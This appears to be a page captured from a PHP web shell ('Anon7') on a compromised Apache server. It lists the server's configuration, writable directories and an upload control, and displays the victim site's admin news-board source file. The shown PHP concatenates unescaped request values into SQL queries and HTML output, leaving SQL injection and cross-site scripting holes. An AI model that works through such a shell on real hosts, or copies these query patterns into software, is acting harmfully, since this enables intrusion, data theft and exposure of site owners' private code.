KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/junsu/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/queenjbs/junsu/admin/news.php
<?include $_SERVER['DOCUMENT_ROOT']."/admin/adminTopMenu.html";?>
<script type="text/javascript" src="/plugin/smartPop/jquery.smartPop.js"></script>
<link rel="stylesheet" href="/plugin/smartPop/jquery.smartPop.css" />
<script type="text/JavaScript">
function goPage(page)
{
	var f = document.form;
	f.page.value = page;
	f.action = '/admin/news.php';
	f.submit();
}
</script>

<script type="text/javascript">
function go_View(document_no, seq) {
	var f = document.form;
	f.idx.value = document_no;
	f.seq.value = seq;
	f.action = 'news_detail.php';
	f.submit();
}

function go_Write() {
	var f = document.form;
	f.action = 'news_write.php';
	f.submit();
}

function goLang(lang_code) {
	var f = document.form;
	f.lang_code.value = lang_code;
	f.action = 'news.php';
	f.submit();
}

function go_Modify(document_no) {
	var f = document.form;
	f.idx.value = document_no;
	f.action = 'news_write.php';
	f.submit();
}

function go_Delete(idxval) {
	if(confirm("등록된 글이 삭제 됩니다.\n삭제하시겠습니까?")) {
		var f = document.form;
		f.mode.value = 'del';
		f.idx.value = idxval;
		f.action = './Proc/news_proc.php';
		f.submit();
	}
}
function searchChk() {
	//검색
	document.form.action = "./news.php";
	document.form.submit();
}

function openshow()
{
	var tmpUrl="./news_sort_list.php";
	var tmpwidth = 840; var tmpheight = 530;
	$.smartPop.open({ background: "grey", width: tmpwidth, height: tmpheight, borderColor:"red", border: 1,bodyClose: true, url: tmpUrl});
}
</script>
<div id="contents">
	<h2>NEWS</h2>
	<div id="content">

<form name="form" method="post" target="_self" onsubmit="return false;" >
	<input type="hidden" name="idx">
	<input type="hidden" name="mode">
	<input type="hidden" name="seq" value="">
	<fieldset>
		<select name="gubun">
			<option value="all"	 selected>분류 선택</option>
			<option value="on"	<?if($gubun == "on")	echo "selected"; ?>>정회원</option>
		</select>
  <select name="key2">
			<option value=""	selected>비밀 선택</option>
			<option value="Y"	<?if($key2 == "Y")	echo "selected"; ?>>Y</option>
			<option value="N"	<?if($key2 == "N")	echo "selected"; ?>>N</option>
		</select>
		<select name="key">
			<option value="subject"	<?if($key == "subject")	echo "selected"; ?>>title</option>
			<option value="reg_date"	<?if($key == "reg_date")	echo "selected"; ?>>date</option>
			<option value="contents"	<?if($key == "contents")	echo "selected"; ?>>content</option>
		</select>
		<input type="text" name="key_word" class="type-text" size="20"  maxlength="20" value="<?=$key_word?>"  onKeyPress="if(event.keyCode==13) if(event.keyCode==13) searchChk();">

		<input type="button" value="검색"class="btn_blue" onClick="searchChk();" />
		<input type="button" value="취소" class="btn_blue" onClick="location.href='<?=$PHP_SELF?>';" />
  <span style="float:right;padding-top:8px;"><input type="button" value="우선순위"class="btn_red" onClick="openshow();" /></span>
	</fieldset>
	</form>

	<table summary="관리자모드 게시판입니다" cellspacing="0" >
		<colgroup>
			<col width="65"/>
			<col width="50"/>
			<col width="50"/>
			<col />
			<col  width="110"/>
			<col width="70"/>
			<col width="75" />
		</colgroup>
 		<thead>
			<tr>
				<th>No</th>
				<th>분류</th>
				<th>비밀글</th>
				<th>Title</th>
				<th>Date</th>
				<th>좋아요</th>
				<th>Action</th>
			</tr>
		</thead>
		<tbody>

 <?
	// =============================================== Query
	$tableName = "news";

	if(!$pageCount) $pageCount = 20;

	$show_one_page			= $pageCount;
	$show_view_page			= 10;

	$page     = ( $page ) ? $page : 1;
	$offset   = ($page-1)*$show_one_page;

	if($key_word) {
		$key_word = str_replace(" ","",$key_word);
		$where = "AND $key LIKE '%$key_word%'";
	}
  if($gubun == "on") $where .= "AND general_setting = '$gubun'"; //정회원글 체크
  if($key2) $where .= "AND is_secret = '$key2'"; //비밀글 체크


		//$order_by = ' ORDER BY sortNum asc,reg_date desc';
		//$order_by = ' ORDER BY no desc,reg_date desc';
		$order_by = ' ORDER BY is_notice asc, sortNum asc,no desc';
		$url_tail = "&gubun=$gubun&key_word=$key_word&key=$key&key2=$key2&order_by=$order_by";

		$query_limit  = "limit $offset,$show_one_page";

		$QUERY_TOTAL = "SELECT count(*) FROM board_$tableName where (original_no=0 or original_no='')  and is_delete ='N'  $where $order_by";
		$QUERY_PAGE  = "SELECT * FROM board_$tableName where (original_no=0 or original_no='') and is_delete ='N' $where $order_by $query_limit";

		//echo $QUERY_PAGE;

		$total_count  = get_db($QUERY_TOTAL);
		$total_page   = ceil( $total_count / $show_one_page);
		$start_num    = $total_count - $offset;  //
		$viewlist2     = ( !$total_count ) ? "" : Get_viewpage2($page,$total_count,$show_one_page,$show_view_page,$url_tail);

		$result= mysql_query($QUERY_PAGE,$db_con);
		if(!$result) {
			error("DB_ERROR");
			exit;
		}
		$total = mysql_affected_rows();
?>
<?
	if(!$total){
		//echo "<tr><td colspan='$colsNum' align=center  height='50px'>등록된 정보가 없습니다.</td></tr>";
		echo "<li><dl class='notice_dl'>登録された情報がございません</dl></li>";

	}else{
		for($i=0; $i<$total; $i++) {
			$Num = $start_num - $i;
			$row = mysql_fetch_array($result);
			$regdate = substr($row[reg_date],0,10);
			if($row[general_setting] == "on") $generalName ="정회원글";
			else $generalName ="일반글";

			if($row[is_notice] =='Y') $is_notice_chk="[お知らせ]";
      else $is_notice_chk="";


?>
			<tr>
				<td><?=$Num?></td>
				<td><?=$generalName?></td>
				<td><?=$row[is_secret]?></td>
				<td class="depth"><?=$is_notice_chk?><a href="javascript:go_View(<?=$row[no]?>,198);"><?=$row[subject]?></a></td>
				<td><?=$regdate?></td>
				<td><?=$row[voted_count]?></td>
				<td><a href="javascript:go_Modify(<?=$row[no]?>);"><img src="./images/check.png" alt="" /></a><a href="javascript:go_Delete(<?=$row[no]?>);"><img src="./images/out.png" alt="" /></a></td>
			</tr>
<?
		}
	}
?>


		</tbody>
		</table>
		<div class="btn">
			<a href="javascript:go_Write();" class="btn_blue">등록하기</a>
		</div>

	</div>
		<div class="page_list">
		<!--  prev/next_std -->
		<?=$viewlist2?>
		<!--  prev/next_end -->
		</div>
</div>
<p></p>
</body>
</html>


Anon7 - 2021